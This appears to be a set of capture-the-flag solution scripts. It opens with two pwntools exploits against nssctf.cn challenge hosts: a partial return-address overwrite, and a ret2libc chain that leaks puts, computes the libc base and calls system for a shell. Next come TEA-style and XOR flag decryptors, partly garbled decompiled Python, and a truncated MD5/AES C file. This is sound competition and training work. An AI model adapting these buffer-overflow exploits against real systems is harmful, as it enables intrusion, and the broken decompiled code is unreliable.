1
from pwn import *
2

3
e = ELF("D:\\CTF\\GH\\attachment")
4

5
s = remote("node2.anna.nssctf.cn", 28170)
6

7
payload = b'1' * 40 + b'\xC5\x09'
8

9
print(payload)
10

11
s.send(payload)
12

13
s.interactive()

1
from pwn import *
2

3
libc = ELF("D:\\CTF\\GH\\ret2libc1\\libc.so.6")
4
e = ELF("D:\\CTF\\GH\\ret2libc1\\attachment")
5
s = remote("node2.anna.nssctf.cn",28623)
6

7

8
poprdi_addr = 0x400d73
9
ret_addr = 0x400579
10
shop_addr = e.symbols['shop']
11
puts_got = e.got['puts']
12
puts_plt = e.plt['puts']
13
puts_offset = libc.symbols['puts']
14

15
payload0 = b'a'*(0x40+8)
16
payload0 += p64(poprdi_addr) + p64(puts_got)
17
payload0 += p64(puts_plt)
18
payload0 += p64(shop_addr)
19

20
# s.send(payload)
21

22
s.send(b'7')
23
s.send(b'11111')
24
s.send(b'6')
25
s.sendafter(b'check youer money',b'5')
26

27
s.send(payload0)
28

29
puts_real_addr=u64(s.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
30
print(hex(puts_real_addr))
31

32
libc_base = puts_real_addr - puts_offset
33
print(hex(libc_base))
34

35
system_addr = 0x453A0 + libc_base
36
bin_addr = 0x18ce57 + libc_base
37

38
payload1 = b'a' * (0x40 + 8)
39
payload1 += p64(ret_addr)
40
payload1 += p64(poprdi_addr) + p64(bin_addr)
41
payload1 += p64(system_addr)
42
payload1 += p64(shop_addr)
43

44

45
s.send(payload1)
46

47

48
s.interactive()

1
data1 = [
2
    0x26, 0x27, 0x24, 0x25, 0x2A, 0x2B, 0x28, 0x00,
3
    0x2E, 0x2F, 0x2C, 0x2D, 0x32, 0x33, 0x30, 0x00,
4
    0x36, 0x37, 0x34, 0x35, 0x3A, 0x3B, 0x38, 0x39,
5
    0x3E, 0x3F, 0x3C, 0x3D, 0x3F, 0x27, 0x34, 0x11
6
]
7

8
def swap(data, a, b):
9
    for i in range(4):
10
        data[a+i], data[b+i] = data[b+i], data[a+i]
11

12

13
si = 0
14
for _ in range(8):
15
    di = si + 4
16
    if di >= 28:
17
        di -= 28
18

19
    swap(data1, si, di)
20
    si += 4
21

22

23
enc_keys = []
24
for di in range(0, 32, 4):
25
    key1 = (data1[di+2] << 8) | data1[di+1]
26
    key2 = (data1[di+3] << 8) | data1[di+2]
27
    enc_keys.append( (key1, key2) )
28

29

30
data2 = [
31
    0x69, 0x77, 0x77, 0x66, 0x73, 0x72, 0x4F, 0x46,
32
    0x03, 0x47, 0x6F, 0x79, 0x07, 0x41, 0x13, 0x47,
33
    0x5E, 0x67, 0x5F, 0x09, 0x0F, 0x58, 0x63, 0x7D,
34
    0x5F, 0x77, 0x68, 0x35, 0x62, 0x0D, 0x0D, 0x50
35
]
36

37
flag = []
38
for i in range(0, 32, 4):
39
    group = data2[i:i+4]
40
    k1, k2 = enc_keys[i//4]
41

42
    word1 = (group[1] << 8) | group[0]
43
    dec_word1 = word1 ^ k1
44
    b0 = dec_word1 & 0xFF
45
    b1 = (dec_word1 >> 8) & 0xFF
46

47
    word2 = (group[3] << 8) | group[2]
48
    dec_word2 = word2 ^ k2
49
    b2 = dec_word2 & 0xFF
50
    b3 = (dec_word2 >> 8) & 0xFF
51

52
    flag.extend([b0, b1, b2, b3])
53

54
flag_bytes = bytes(flag)
55
print(flag_bytes)

1
#include <stdio.h>
2
#include <stdint.h>
3
#include <string.h>
4

5
void decrypt(uint32_t* v, uint32_t* key) {
6
  uint32_t v0 = v[0], v1 = v[1], sum = 0x9B34CE58, i;
7
  uint32_t delta = 0x66778899;
8
  for (i = 0; i<24; i++) {
9
    v1 -= (key[(sum >> 11)&3] + sum) ^ (((v0 << 4) ^ (v0 >> 5)) + v0);
10
    sum -= delta;
11
    v0 -= (key[sum & 3] + sum) ^ (((v1 << 4) ^ (v1 >> 5)) + v1);
12
  }
13
  v[0] = v0; v[1] = v1;
14
}
15

16

17
int main()
18
{
19

20
  uint32_t v[6] = {0xA6975621,0xDEC4D51A,0x4D829CA4,0x56C845D1,0x5C96B4A7,0x2087494D};
21
    uint32_t k[] = {0x756C6544,0x61426578,0x7469,0};
22

23
    for (int i = 0; i < 3; i++)  {
24
        decrypt(&v[2*i], k);
25
    }
26
  for (int i = 0; i < 24; i++)
27
  {
28
        printf("%c",*((char *)v + i));
29
  }
30
  printf("\n");
31
  return 0;
32
}

1
#include<stdio.h>
2
#define delta 0x5E2377FF
3
#include <stdint.h>
4

5
//加密函数
6
void encrypt(uint32_t* v, uint32_t* k) {
7
  uint32_t v0 = v[0], v1 = v[1], sum = 0, i;
8
  uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
9
  for (i = 0; i < 8; i++) {
10
    sum += delta;
11
    v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
12
    v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
13
  }
14

15
  v[0] = v0 ^ 0xf; v[1] = v1 ^ 0xf;
16
}
17

18
//解密函数
19
void decrypt(uint32_t* v, uint32_t* k) {
20
  uint32_t v0 = v[0], v1 = v[1], sum = 0xF11BBFF8, i;
21
  uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
22
    v0^=0xf;
23
    v1^=0xf;
24
  for (i = 0; i < 8; i++) {
25
    v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
26
    v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
27
    sum -= delta;
28
  }
29
  v[0] = v0; v[1] = v1;
30
}
31

32

33

34
int main() {
35
    uint32_t k[] = {0x423DF72D,0x5F59A01,0x633FCF1D,0x77D19122};
36
    uint32_t v[] = {0x31E45DC,0x2776E989,0x1234847,0x64CED270,0x33467FDA,0xA34903B1,0x2CD10027,0x75BDB337};
37

38
    uint32_t v1[] = {1,2,3,4};
39
    for (int i = 0; i < 4; i++) {
40
        decrypt(&v[2*i],k);
41
    }
42
    for (int i = 0; i < 32; i++) {
43
        printf("%c",*((char*)v+i));
44
    }
45
}

1
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
2
# Version : Python 3.8
3

4
from Secret import *
5
if __name__ == '__main__':
6
    print('输入:', '', **('end',))
7
    aaaaaaaaaaaaa = input()
8
    wwwwwwwwwww = l(aaaaaaaaaaaaa)
9
    if sssssssssssss == wwwwwwwwwww.encode():
10
        print('哦，对的。')
11
    else:
12
        print('哎，并非。')
13
    input()

1
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
2
# Version : Python 3.8
3

4
from SecretEncrypt import *
5
sssssssssssss = bytes([
6
    57,
7
    118,
8
    33,
9
    114,
10
    68,
11
    56,
12
    117,
13
    115,
14
    34,
15
    52,
16
    52,
17
    95,
18
    78,
19
    40,
20
    49,
21
    59,
22
    95,
23
    85,
24
    63,
25
    122,
26
    54,
27
    33,
28
    77,
29
    110,
30
    49,
31
    54,
32
    34,
33
    109,
34
    106,
35
    122,
36
    60,
37
    92,
38
    108,
39
    91,
40
    61,
41
    51,
42
    42,
43
    62,
44
    35,
45
    38,
46
    52,
47
    67,
48
    62,
49
    122,
50
    116,
51
    48,
52
    76,
53
    50,
54
    67,
55
    51,
56
    59,
57
    41,
58
    122,
59
    45,
60
    45,
61
    51,
62
    90])
63

64
def l(_ = None):
65
    return SSSooooyyooo(MMMMiiiiiio.MMMMiiooooooo(SSSooooyyooo(RRRRyyooo.RRRRRRRyyyyooooo(_.encode()), 7).encode()), 9)

1
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
2
# Version : Python 3.8
3

4
import math
5

6
class MMMMiiiiiio:
7
    MMiiiiiiooo = ''.join((lambda .0: [ chr(Miiooooooooo) for Miiooooooooo in .0 ])(range(33, 118)))
8

9
    def MMMMiiooooooo(MMMMMMMMMiiiooo = None):
10
        MMMMiiiiioooooooooo = ''
11
        MMMMMMMiiiiioo = (4 - len(MMMMMMMMMiiiooo) % 4) % 4
12
        MMMMMMMMMiiiooo += b'\x00' * MMMMMMMiiiiioo
13
        for MMMMMMiiiiiio in range(0, len(MMMMMMMMMiiiooo), 4):
14
            MMMMiiiiiiooooo = MMMMMMMMMiiiooo[MMMMMMiiiiiio:MMMMMMiiiiiio + 4]
15
            MMMMMMiiioooooo = int.from_bytes(MMMMiiiiiiooooo, 'big')
16
            MMMMMMMiiooooooooo = ''
17
            for _ in range(5):
18
                MMMMMMMiiooooooooo = MMMMiiiiiio.MMiiiiiiooo[MMMMMMiiioooooo % 85] + MMMMMMMiiooooooooo
19
                MMMMMMiiioooooo //= 85
20
            MMMMiiiiioooooooooo += MMMMMMMiiooooooooo
21
        if MMMMMMMiiiiioo:
22
            MMMMiiiiioooooooooo = MMMMiiiiioooooooooo[:-MMMMMMMiiiiioo]
23
        return MMMMiiiiioooooooooo
24

25
    MMMMiiooooooo = None(MMMMiiooooooo)
26

27

28
class RRRRyyooo:
29
    RRRRyooooooo = ''.join((lambda .0: [ chr(RRRRRRRyyyyyoooo) for RRRRRRRyyyyyoooo in .0 ])(range(48, 93)))
30

31
    def RRRRRRRyyyyooooo(RRRRRRyyyoooooo = None):
32
        RRRRyyyyyooo = []
33
        RRyyyyyyyyyoooooo = 0
34
        if RRyyyyyyyyyoooooo < len(RRRRRRyyyoooooo):
35
            if RRyyyyyyyyyoooooo + 1 < len(RRRRRRyyyoooooo):
36
                RRRRRRRRRyyo = RRRRRRyyyoooooo[RRyyyyyyyyyoooooo] << 8 | RRRRRRyyyoooooo[RRyyyyyyyyyoooooo + 1]
37
                RRRRyyyyyooo.append(RRRRyyooo.RRRRyooooooo[RRRRRRRRRyyo % 45])
38
                RRRRRRRRRyyo //= 45
39
                RRRRyyyyyooo.append(RRRRyyooo.RRRRyooooooo[RRRRRRRRRyyo % 45])
40
                RRRRRRRRRyyo //= 45
41
                RRRRyyyyyooo.append(RRRRyyooo.RRRRyooooooo[RRRRRRRRRyyo])
42
                RRyyyyyyyyyoooooo += 2
43
                continue
44
            RRRRRRRRRyyo = RRRRRRyyyoooooo[RRyyyyyyyyyoooooo]
45
            RRRRyyyyyooo.append(RRRRyyooo.RRRRyooooooo[RRRRRRRRRyyo % 45])
46
            RRRRRRRRRyyo //= 45
47
            RRRRyyyyyooo.append(RRRRyyooo.RRRRyooooooo[RRRRRRRRRyyo])
48
            RRyyyyyyyyyoooooo += 1
49
            continue
50
        return ''.join(RRRRyyyyyooo)
51

52
    RRRRRRRyyyyooooo = None(RRRRRRRyyyyooooo)
53

54

55
def SSSooooyyooo(SSSSooyoooooo, SSSSSoyyooooo):
56
    SSoooooyyyyyyoo = []
57
    for SSSSSSSSSoyooo in SSSSooyoooooo:
58
        if SSSSSSSSSoyooo <= SSSSSSSSSoyooo or SSSSSSSSSoyooo <= 'z':
59
            pass
60
        else:
61
            'a'
62
    SSSSoooyooooooo = ((ord(SSSSSSSSSoyooo) - ord('a')) + SSSSSoyyooooo) % 26
63
    SSoooooyyyyyyoo.append(chr(ord('a') + SSSSoooyooooooo))
64
    continue
65
    if SSSSSSSSSoyooo <= SSSSSSSSSoyooo or SSSSSSSSSoyooo <= '9':
66
        pass
67
    else:
68
        '0'
69
    SSSSoooyooooooo = (ord(SSSSSSSSSoyooo) - ord('0') - SSSSSoyyooooo) % 10
70
    SSoooooyyyyyyoo.append(chr(ord('0') + SSSSoooyooooooo))
71
    continue
72
    SSoooooyyyyyyoo.append(SSSSSSSSSoyooo)
73
    continue
74
    return ''.join(SSoooooyyyyyyoo)

1
#include <stdint.h>
2
#include <stdio.h>
3
#include <string.h>
4
// Copyright 2020-2021 The jdh99 Authors. All rights reserved.
5
// calc md5
6
// Authors: jdh99 <jdh821@163.com>
7

8

9
#include <string.h>
10
#include <stdint.h>
11
#include <stdio.h>
12
#include <stdlib.h>
13
#include <string.h>
14
#include <stdint.h>
15

16
// Constants are the integer part of the sines of integers (in radians) * 2^32.
17
const uint32_t k[64] = {
18
0xd76aa478, 0xe8c7b756, 0x242070db, 0xc1bdceee ,
19
0xf57c0faf, 0x4787c62a, 0xa8304613, 0xfd469501 ,
20
0x698098d8, 0x8b44f7af, 0xffff5bb1, 0x895cd7be ,
21
0x6b901122, 0xfd987193, 0xa679438e, 0x49b40821 ,
22
0xf61e2562, 0xc040b340, 0x265e5a51, 0xe9b6c7aa ,
23
0xd62f105d, 0x02441453, 0xd8a1e681, 0xe7d3fbc8 ,
24
0x21e1cde6, 0xc33707d6, 0xf4d50d87, 0x455a14ed ,
25
0xa9e3e905, 0xfcefa3f8, 0x676f02d9, 0x8d2a4c8a ,
26
0xfffa3942, 0x8771f681, 0x6d9d6122, 0xfde5380c ,
27
0xa4beea44, 0x4bdecfa9, 0xf6bb4b60, 0xbebfbc70 ,
28
0x289b7ec6, 0xeaa127fa, 0xd4ef3085, 0x04881d05 ,
29
0xd9d4d039, 0xe6db99e5, 0x1fa27cf8, 0xc4ac5665 ,
30
0xf4292244, 0x432aff97, 0xab9423a7, 0xfc93a039 ,
31
0x655b59c3, 0x8f0ccc92, 0xffeff47d, 0x85845dd1 ,
32
0x6fa87e4f, 0xfe2ce6e0, 0xa3014314, 0x4e0811a1 ,
33
0xf7537e82, 0xbd3af235, 0x2ad7d2bb, 0xeb86d391 };
34

35
// r specifies the per-round shift amounts
36
const uint32_t r[] = {7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
37
                      5,  9, 14, 20, 5,  9, 14, 20, 5,  9, 14, 20, 5,  9, 14, 20,
38
                      4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
39
                      6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21};
40

41
// leftrotate function definition
42
#define LEFTROTATE(x, c) (((x) << (c)) | ((x) >> (32 - (c))))
43

44
void to_bytes(uint32_t val, uint8_t *bytes)
45
{
46
    bytes[0] = (uint8_t) val;
47
    bytes[1] = (uint8_t) (val >> 8);
48
    bytes[2] = (uint8_t) (val >> 16);
49
    bytes[3] = (uint8_t) (val >> 24);
50
}
51

52
uint32_t to_int32(const uint8_t *bytes)
53
{
54
    return (uint32_t) bytes[0]
55
        | ((uint32_t) bytes[1] << 8)
56
        | ((uint32_t) bytes[2] << 16)
57
        | ((uint32_t) bytes[3] << 24);
58
}
59

60
void md5(const uint8_t *initial_msg, size_t initial_len, uint8_t *digest) {
61

62
    // These vars will contain the hash
63
    uint32_t h0, h1, h2, h3;
64

65
    // Message (to prepare)
66
    uint8_t *msg = NULL;
67

68
    size_t new_len, offset;
69
    uint32_t w[16];
70
    uint32_t a, b, c, d, i, f, g, temp;
71

72
    // Initialize variables - simple count in nibbles:
73
    h0 = 0x67452301;
74
    h1 = 0xefcdab89;
75
    h2 = 0x98badcfe;
76
    h3 = 0x10325476;
77

78
    //Pre-processing:
79
    //append "1" bit to message
80
    //append "0" bits until message length in bits ≡ 448 (mod 512)
81
    //append length mod (2^64) to message
82

83
    for (new_len = initial_len + 1; new_len % (512/8) != 448/8; new_len++)
84
        ;
85

86
    msg = (uint8_t*)malloc(new_len + 8);
87
    memcpy(msg, initial_msg, initial_len);
88
    msg[initial_len] = 0x80; // append the "1" bit; most significant bit is "first"
89
    for (offset = initial_len + 1; offset < new_len; offset++)
90
        msg[offset] = 0; // append "0" bits
91

92
    // append the len in bits at the end of the buffer.
93
    to_bytes(initial_len*8, msg + new_len);
94
    // initial_len>>29 == initial_len*8>>32, but avoids overflow.
95
    to_bytes(initial_len>>29, msg + new_len + 4);
96

97
    // Process the message in successive 512-bit chunks:
98
    //for each 512-bit chunk of message:
99
    for(offset=0; offset<new_len; offset += (512/8)) {
100

101
        // break chunk into sixteen 32-bit words w[j], 0 ≤ j ≤ 15
102
        for (i = 0; i < 16; i++)
103
            w[i] = to_int32(msg + offset + i*4);
104

105
        // Initialize hash value for this chunk:
106
        a = h0;
107
        b = h1;
108
        c = h2;
109
        d = h3;
110

111
        // Main loop:
112
        for(i = 0; i<64; i++) {
113

114
            if (i < 16) {
115
                f = (b & c) | ((~b) & d);
116
                g = i;
117
            } else if (i < 32) {
118
                f = (d & b) | ((~d) & c);
119
                g = (5*i + 1) % 16;
120
            } else if (i < 48) {
121
                f = b ^ c ^ d;
122
                g = (3*i + 5) % 16;
123
            } else {
124
                f = c ^ (b | (~d));
125
                g = (7*i) % 16;
126
            }
127

128
            temp = d;
129
            d = c;
130
            c = b;
131
            b = b + LEFTROTATE((a + f + k[i] + w[g]), r[i]);
132
            a = temp;
133

134
        }
135

136
        // Add this chunk's hash to result so far:
137
        h0 += a;
138
        h1 += b;
139
        h2 += c;
140
        h3 += d;
141

142
    }
143

144
    // cleanup
145
    free(msg);
146

147
    //var char digest[16] := h0 append h1 append h2 append h3 //(Output is in little-endian)
148
    to_bytes(h0, digest);
149
    to_bytes(h1, digest + 4);
150
    to_bytes(h2, digest + 8);
151
    to_bytes(h3, digest + 12);
152
}
153

154

155
typedef struct{
156
    uint32_t eK[44], dK[44];    // encKey, decKey
157
    int Nr; // 10 rounds
158
}AesKey;
159

160
#define BLOCKSIZE 16  //AES-128分组长度为16字节
161

162
// uint8_t y[4] -> uint32_t x
163
#define LOAD32H(x, y) \
164
  do { (x) = ((uint32_t)((y)[0] & 0xff)<<24) | ((uint32_t)((y)[1] & 0xff)<<16) | \
165
             ((uint32_t)((y)[2] & 0xff)<<8)  | ((uint32_t)((y)[3] & 0xff));} while(0)
166

167
// uint32_t x -> uint8_t y[4]
168
#define STORE32H(x, y) \
169
  do { (y)[0] = (uint8_t)(((x)>>24) & 0xff); (y)[1] = (uint8_t)(((x)>>16) & 0xff);   \
170
       (y)[2] = (uint8_t)(((x)>>8) & 0xff); (y)[3] = (uint8_t)((x) & 0xff); } while(0)
171

172
// 从uint32_t x中提取从低位开始的第n个字节
173
#define BYTE(x, n) (((x) >> (8 * (n))) & 0xff)
174

175
/* used for keyExpansion */
176
// 字节替换然后循环左移1位
177
#define MIX(x) (((S[BYTE(x, 2)] << 24) & 0xff000000) ^ ((S[BYTE(x, 1)] << 16) & 0xff0000) ^ \
178
                ((S[BYTE(x, 0)] << 8) & 0xff00) ^ (S[BYTE(x, 3)] & 0xff))
179

180
// uint32_t x循环左移n位
181
#define ROF32(x, n)  (((x) << (n)) | ((x) >> (32-(n))))
182
// uint32_t x循环右移n位
183
#define ROR32(x, n)  (((x) >> (n)) | ((x) << (32-(n))))
184

185
/* for 128-bit blocks, Rijndael never uses more than 10 rcon values */
186
// AES-128轮常量
187
static const uint32_t rcon[10] = {
188
        0x01000000UL, 0x02000000UL, 0x04000000UL, 0x08000000UL, 0x10000000UL,
189
        0x20000000UL, 0x40000000UL, 0x80000000UL, 0x1B000000UL, 0x36000000UL
190
};
191
// S盒
192
unsigned char S[256] = {
193
        0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
194
        0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
195
        0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
196
        0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
197
        0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
198
        0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
199
        0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
200
        0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
201
        0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
202
        0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
203
        0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
204
        0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
205
        0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
206
        0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
207
        0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
208
        0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
209
};
210

211
//逆S盒
212
unsigned char inv_S[256] = {
213
        0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
214
        0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
215
        0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
216
        0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
217
        0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
218
        0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
219
        0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
220
        0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
221
        0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
222
        0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
223
        0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
224
        0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
225
        0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
226
        0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
227
        0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
228
        0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D
229
};
230

231
/* copy in[16] to state[4][4] */
232
int loadStateArray(uint8_t (*state)[4], const uint8_t *in) {
233
    for (int i = 0; i < 4; ++i) {
234
        for (int j = 0; j < 4; ++j) {
235
            state[j][i] = *in++;
236
        }
237
    }
238
    return 0;
239
}
240

241
/* copy state[4][4] to out[16] */
242
int storeStateArray(uint8_t (*state)[4], uint8_t *out) {
243
    for (int i = 0; i < 4; ++i) {
244
        for (int j = 0; j < 4; ++j) {
245
            *out++ = state[j][i];
246
        }
247
    }
248
    return 0;
249
}
250
//秘钥扩展
251
int keyExpansion(const uint8_t *key, uint32_t keyLen, AesKey *aesKey) {
252

253
    if (NULL == key || NULL == aesKey){
254
        printf("keyExpansion param is NULL\n");
255
        return -1;
256
    }
257

258
    if (keyLen != 16){
259
        printf("keyExpansion keyLen = %d, Not support.\n", keyLen);
260
        return -1;
261
    }
262

263
    uint32_t *w = aesKey->eK;  //加密秘钥
264
    uint32_t *v = aesKey->dK;  //解密秘钥
265

266
    /* keyLen is 16 Bytes, generate uint32_t W[44]. */
267

268
    /* W[0-3] */
269
    for (int i = 0; i < 4; ++i) {
270
        LOAD32H(w[i], key + 4*i);
271
    }
272

273
    /* W[4-43] */
274
    for (int i = 0; i < 10; ++i) {
275
        w[4] = w[0] ^ MIX(w[3]) ^ rcon[i];
276
        w[5] = w[1] ^ w[4];
277
        w[6] = w[2] ^ w[5];
278
        w[7] = w[3] ^ w[6];
279
        w += 4;
280
    }
281

282
    w = aesKey->eK+44 - 4;
283
    //解密秘钥矩阵为加密秘钥矩阵的倒序，方便使用，把ek的11个矩阵倒序排列分配给dk作为解密秘钥
284
    //即dk[0-3]=ek[41-44], dk[4-7]=ek[37-40]... dk[41-44]=ek[0-3]
285
    for (int j = 0; j < 11; ++j) {
286

287
        for (int i = 0; i < 4; ++i) {
288
            v[i] = w[i];
289
        }
290
        w -= 4;
291
        v += 4;
292
    }
293

294
    return 0;
295
}
296

297
// 轮秘钥加
298
int addRoundKey(uint8_t (*state)[4], const uint32_t *key) {
299
    uint8_t k[4][4];
300

301
    /* i: row, j: col */
302
    for (int i = 0; i < 4; ++i) {
303
        for (int j = 0; j < 4; ++j) {
304
            k[i][j] = (uint8_t) BYTE(key[j], 3 - i);  /* 把 uint32 key[4] 先转换为矩阵 uint8 k[4][4] */
305
            state[i][j] ^= k[i][j];
306
        }
307
    }
308

309
    return 0;
310
}
311

312
//字节替换
313
int subBytes(uint8_t (*state)[4]) {
314
    /* i: row, j: col */
315
    for (int i = 0; i < 4; ++i) {
316
        for (int j = 0; j < 4; ++j) {
317
            state[i][j] = S[state[i][j]]; //直接使用原始字节作为S盒数据下标
318
        }
319
    }
320

321
    return 0;
322
}
323

324
//逆字节替换
325
int invSubBytes(uint8_t (*state)[4]) {
326
    /* i: row, j: col */
327
    for (int i = 0; i < 4; ++i) {
328
        for (int j = 0; j < 4; ++j) {
329
            state[i][j] = inv_S[state[i][j]];
330
        }
331
    }
332
    return 0;
333
}
334

335
//行移位
336
int shiftRows(uint8_t (*state)[4]) {
337
    uint32_t block[4] = {0};
338

339
    /* i: row */
340
    for (int i = 0; i < 4; ++i) {
341
    //便于行循环移位，先把一行4字节拼成uint_32结构，移位后再转成独立的4个字节uint8_t
342
        LOAD32H(block[i], state[i]);
343
        block[i] = ROF32(block[i], 8*i);
344
        STORE32H(block[i], state[i]);
345
    }
346

347
    return 0;
348
}
349

350
//逆行移位
351
int invShiftRows(uint8_t (*state)[4]) {
352
    uint32_t block[4] = {0};
353

354
    /* i: row */
355
    for (int i = 0; i < 4; ++i) {
356
        LOAD32H(block[i], state[i]);
357
        block[i] = ROR32(block[i], 8*i);
358
        STORE32H(block[i], state[i]);
359
    }
360

361
    return 0;
362
}
363

364
/* Galois Field (256) Multiplication of two Bytes */
365
// 两字节的伽罗华域乘法运算
366
uint8_t GMul(uint8_t u, uint8_t v) {
367
    uint8_t p = 0;
368

369
    for (int i = 0; i < 8; ++i) {
370
        if (u & 0x01) {    //
371
            p ^= v;
372
        }
373

374
        int flag = (v & 0x80);
375
        v <<= 1;
376
        if (flag) {
377
            v ^= 0x1B; /* x^8 + x^4 + x^3 + x + 1 */
378
        }
379

380
        u >>= 1;
381
    }
382

383
    return p;
384
}
385

386
// 列混合
387
int mixColumns(uint8_t (*state)[4]) {
388
    uint8_t tmp[4][4];
389
    uint8_t M[4][4] = {{0x02, 0x03, 0x01, 0x01},
390
                       {0x01, 0x02, 0x03, 0x01},
391
                       {0x01, 0x01, 0x02, 0x03},
392
                       {0x03, 0x01, 0x01, 0x02}};
393

394
    /* copy state[4][4] to tmp[4][4] */
395
    for (int i = 0; i < 4; ++i) {
396
        for (int j = 0; j < 4; ++j){
397
            tmp[i][j] = state[i][j];
398
        }
399
    }
400

401
    for (int i = 0; i < 4; ++i) {
402
        for (int j = 0; j < 4; ++j) {  //伽罗华域加法和乘法
403
